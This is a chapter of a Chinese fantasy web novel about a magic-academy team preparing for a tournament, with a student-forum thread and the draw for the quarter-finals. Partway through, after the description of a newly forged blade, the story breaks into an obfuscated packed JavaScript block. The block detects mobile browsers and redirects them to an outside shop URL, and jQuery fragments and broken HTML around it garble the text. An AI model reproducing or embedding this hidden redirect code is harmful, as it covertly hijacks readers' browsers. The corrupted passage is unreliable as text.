“戈斯是艾利安的人，可能不太好……对付。”塔莉措辞委婉。
元曌耸肩：“那就连艾利安一块打趴下。”
她说得轻松，理所当然的态度任谁都会评价一句“狂妄”，但在双方实力悬殊的情况下，没人会放在心上。
所有人心知肚明，于他们而言，赢下一场比赛已是超出预期，能进八强赛的都是学院翘楚，连艾利安都不敢说自己能把所有人打趴下。
但有斗志是好事。
维罗妮卡意味深长:“你不是喜欢他？”
元曌心道机会来了，打破谣言要从内部开始。
她装模作样叹了口气，却迟迟不接话。
众人不自觉挺直脊背。
莱昂尼暗恋艾利安一事全校皆知，他们自然也听说过，只是一直没找到机会问。
西里尔最先按捺不住:“老大，不要吊我们胃口了。”
天知道他想问这个多久了，作为队内在论坛最活跃的分子，他怎么也无法把帖子中的莱昂尼和眼前这人联系在一起。
元曌仰头望天:“这件事，另有内情。”
顶着一圈或好奇或疑惑的眼神，她惆怅道:“其实，艾利安暗恋我很久了。”
气氛随着她话落微妙一凝。
“呃，老大，”西里尔卡住吞天的脖子，“什么意思？”
“字面意思。”元曌好整以暇地欣赏几人古怪的神色。
【元曌。】莱昂尼无奈，【你在说什么。】
“事实。”
她两个字把欲言又止的西里尔堵了回去：“你觉得我喜欢他？”
喜欢一个人，应该不会想把他打趴下吧？
西里尔视线移向塔莉。
塔莉面露难色，不知作何反应，她虽是莱昂尼的室友，对她的了解却甚少。
尤其是莱昂尼察觉自己被监视后果断疏远了身边所有人，两人几天不交流也是常态。
现在想来，这传言确实奇怪，她从没见过两人有交集。
相比他们，维罗妮卡态度还算坚决，她扶额:“怎么可能？”
胡说八道也要有个限度。
还好店里人少，座位也比较分散，元曌方才的惊天发言应该没被听去。
“怎么不可能？”元曌翘着腿，“我三打一的传闻你看见了？那是艾利安臣服于我勇武身姿的开始。”
【元曌。】莱昂尼语气中的无奈加重，【你怎么……】
【你觉得艾利安知道这是个谣言吗？】
元曌意有所指。
王储争夺期间，一切负面传闻都会被放大，艾利安不可能不知道那些骚扰与跟踪是好事者杜撰，可他还是选择沉默，甚至特意避开莱昂尼，加剧了舆论的传播。
以为放任不管传言就会平息，还是真心认为莱昂尼是个疯狂的追求者？
她懒得去猜这位王子的想法，她只知道有更无辜的人在这场闹剧中受到波及。
意识到她在不满什么，莱昂尼哑然。
原来帝国王子避而不见是因为告白被拒，黯然神伤。
西里尔心中震惊，因她绘声绘色的解读信了八分。
伏夜也不由动摇，这种传闻一点不利于王储的争夺，如果传闻失真，艾利安应该会第一时间作出反应。
秘银更不用说，她从不觉得元曌所言有什么问题。
维罗妮卡依旧持怀疑态度，但转念一想自己和艾利安也不熟，纠结这些做什么。
妄议王室风险太大，她迅速将话题揭过。
接下来一星期，小队几人也没闲着，元曌针对他们的情况定制了专属训练计划，第一步就是晨练。
作为体弱的治愈系和法术系，伏夜和塔莉都是第一次接触这种训练形式，每日都生不如死，可元曌一遇到训练就像变了个人，严格到他们不敢出声。
塔莉再次见识了她恐怖的身体素质——同为法术系，怎么会有人跑了十公里气都不喘？
伏夜更是震惊，不知是不愿输给法术系还是为了那二十二枚金币恪守职责，他也咬牙坚持了下来。
但他最大的问题不在体能，而是星职，用伏夜自己的话来说，他现在对于魔法的使用全靠本能，而非技巧。
为了帮他找到当初秘境中暂停元素的感觉，元曌用一块小蛋糕贿赂风暴，雇佣它成为伏夜的陪练。
疾风鼬本就属于攻击型魔法兽，一人一鼬相处时间又长，一周下来，伏夜也摸索到了一些门道。
他的元素暂停能力只对具有一定凝聚程度的元素有用，且元素纯度要求非常高，能满足这两个条件的大概只有元素体和接近完全态的魔法，其余一概不行。
但这已经超出元曌预料，光能中断魔法师吟唱这一点就足够霸道，她越接触越是觉得“缚命师”为战斗而生，分到支援系和法术系也比治愈系合理。
美中不足的是伏夜在过去17年中对星职抵触太大，从未主动探索和学习，他现在能够暂停的时间极短，对于高阶魔法更是束手无策，多延长一秒身体都吃不消。
在他当着自己面昏迷后，元曌果断放弃短时间内把他练成元素暂停大师的想法，转而加大了晨练的强度。
太可怕了，队员的命重要。
至于西里尔，元曌教了他自己从前常用的冥想方法，战斗中完全控制情绪不太现实，更别说有个不稳定的吞天。
自求多福吧。
这样的日子持续了两周，校赛进程过半，八强赛的时间越来越近，论坛上各种帖子层出不穷。
我是精灵控：好恐怖，今年好恐怖！
AAA魔法水晶批发：一边看一边庆幸还好我参加的是上届比赛，竞争太激烈了吧！
一颗糖：刚看完卢卡斯的比赛来这里缓缓……太暴力了，完全是人形爆破弹！
燥候：楼上，阿德莉娅十六强比赛快接近尾声了，建议你去看看，那才是无声的暴力
大姐别杀我：已经结束了，提前半场锁定胜局，殿下的吟唱速度太离谱了，根本不可能躲开啊
我爱草莓蛋糕塔：目测亲和力90%以上，不能再低了，开场秒对方支援系那一下试问整个法术系谁能做到？
睡眠花：别的不说，南希肯定可以
已拿到校赛名额（改名进入八强版）：怎么不说莱昂尼？
这条评论一出，底下纷纷回复，这个论坛名长期活跃于各种校赛帖下，众人都很眼熟。
睡眠花：咦，这个名字，你进八强了？！
已拿到校赛名额（改名进入八强版）：嘻嘻，队长太牛了，直接把队伍带飞了
这是承认自己进了八强赛，一大片“恭喜”和“蹭蹭”刷满了评论区。
长期找训练场搭档：你是哪队的？今天晋级的只有阿德莉娅和卢卡斯
已拿到校赛名额（改名版）：这个不方便说，保密保密
众人表示理解，话题很快又回到了起点。
睡眠花：今年比得好快，照这个进度，下周就是八强赛了
一年更比一年高：比往年提前一周是好事啊，谁不想看首席打架，这几场比赛看得我快睡着了，也就卢卡斯有点意思
已拿到校赛名额（改名版）：莱昂尼打架也好看？
他多次提及莱昂尼，其他人看出点苗头来。
燥候：这么讨厌莱昂尼？你八强赛有机会和她对上咯！
已拿到校赛名额（改名版）：她那点小伎俩连卢卡斯一剑都撑不过，谁怕？第一轮淘汰才算运气好，少丢点人
和之前相比，他的恶意浓重了许多，不少人为元曌占去名额的事耿耿于怀，也加入到冷嘲热讽的阵营中来。
论坛上的这些讨论元曌本人一概不知，她这两天忙着找维罗妮卡炼制武器。
“你要的刀。”维罗妮卡从炼金室走出，满脸疲惫。
近战武器比魔杖只重不轻，她手腕酸软，差点掉到地上。
元曌接过她手中的刀，径直插入身后。
“不试试？”维罗妮卡轻揉眉心。
“不用，挺好看的，你办事，我放心。”
这把刀在维罗妮卡手中炼了近一个月，从设计到选材无一不用心，炼金师大多注重细节、追求完美，元曌从见到这把刀起就能看出她在其中耗费的心血。
刀身银白修长，弧度凌厉，刀柄中央镶嵌一颗火红色的魔法石，如同一件精美的艺术品，兼具美观与杀伤性。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568640|183008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>考虑到元曌已经习惯了软刀的手感，维罗妮卡多加了流心岩，使它不比软刀疲软，却比一般刀具更韧。
维罗妮卡点头，甚至没力气去问她为什么要镶嵌火元素魔法石。
“那颗中心魔法石不适配近战武器，这把刀用的是十颗魔法石中品质最好的那颗。”她说着就要向里走，“我把中心魔法石拿给你。”
“放你那。”元曌拦下她，“你多久没休息了？”
这个状态，怕是熬了好几个通宵。
维罗妮卡摇头：“没事，还剩最后一步就完成了。”
元曌皱眉，甜品店一别后，她还是第一次见到维罗妮卡，听管理炼金室的老师说，她已经把自己关在里面足足两星期。
无论她怎么问，维罗妮卡都不肯说自己在炼制什么东西。
炼金师好像都这样，她这个外行不好评价：“最近的晨练可以暂停。”
“不用，”维罗妮卡将碎发撩至耳后，全无平日的整洁精致，“我会照常过去。”
元曌的晨练内容稀奇古怪，简简单单的动作总要耗费大量气力完成，成效却很显著。
她以前在炼金台前一小时就得休息，现在却可以全神贯注炼制两、三小时而不觉得累。
见她坚持，元曌也不再劝:“好吧，后天抽签，记得要来。”
“我知道。”维罗妮卡微笑，“这件事是我告诉你的。”
“是吗？”
元曌一点没印象。
她挥挥手向维罗妮卡告别，往传送阵走去。
她要去训练场试刀。
另一边，维罗妮卡合上门，走到凌乱的炼金台前。
火系魔法兽的血液在管内隐隐发出红光，她杖尖轻点，金色的光束包裹血液，融入台面上洁白的骨架，在表面荡开一层红光。
她将骨架移至冶炼炉，调控其中跳动的火光，眼神一错不错。
一定要成功。
-
两天后，抽签日。
洛伦兹站在台上，目光掠过一众严阵以待的选手，落在窃窃私语的六颗脑袋上。
抽签不是正式场合，对站位没有要求，但其他队都统一队长在前，队员在后，只有元曌一行人站得稀稀拉拉，一眼望去还以为中央的维罗妮卡才是队长。
“那就是帝国王子？长的不如主席。”西里尔瞥了眼艾利安，突然压低声音，“老大，他在看你。”
元曌正在观察那颗用于分组的水晶球，她闻言望去，和艾利安对上视线，后者匆忙别开脸。
“啧啧啧。”西里尔感慨。
“你声音太大了。”维罗妮卡踢了他一脚，“站直。”
西里尔下意识立正。
元曌眯眼，耳边传来秘银的声音：“队长，右边。”
她抬眼，右边的位置被伏夜挡住，元曌上前一步，这才注意到不远处凝视自己的女人，是茅叶飞。
这种环节茅叶飞本不必参加，可上次被元曌逃掉后，她越发好奇这个学生本事的来历，接连几次找去法术系训练场，每次都空手而归。
这次抽签结束，她必定要问出个究竟。
茅叶飞当然不会想到元曌去的是近战系的训练场。
元曌朝她眨了眨眼。
她刚才那一步脱离了队伍，再加上论坛上吵得不可开交，明里暗里更多打量落在她身上。
元曌仿佛察觉不到这些视线，岿然不动。
台上，洛伦兹单手覆上身前的水晶球，默念几秒，暗淡的水晶球顿时迸发出一束白光。
那束白光飞速旋转，倏地分裂为八个相同的光球，停在半空中，缓慢浮动。
元曌不解，环视一圈，只见谈鸿杖尖对准其中一个光球，默念了些什么，那颗光球径直向她飞去，落在她手心。
八个光球很快分去七个，剩下一个自然落至元曌身前，她也不挑，反正是随机事件。
指尖触碰到光球表面，它一颤，发出一阵金光。
几道脚步声逐渐靠近，随之而来的是一个陌生的声音。
“啊，找到了。”
光球自发脱离手心，和来人手中的那颗对撞，轰然碎裂。
“是你。”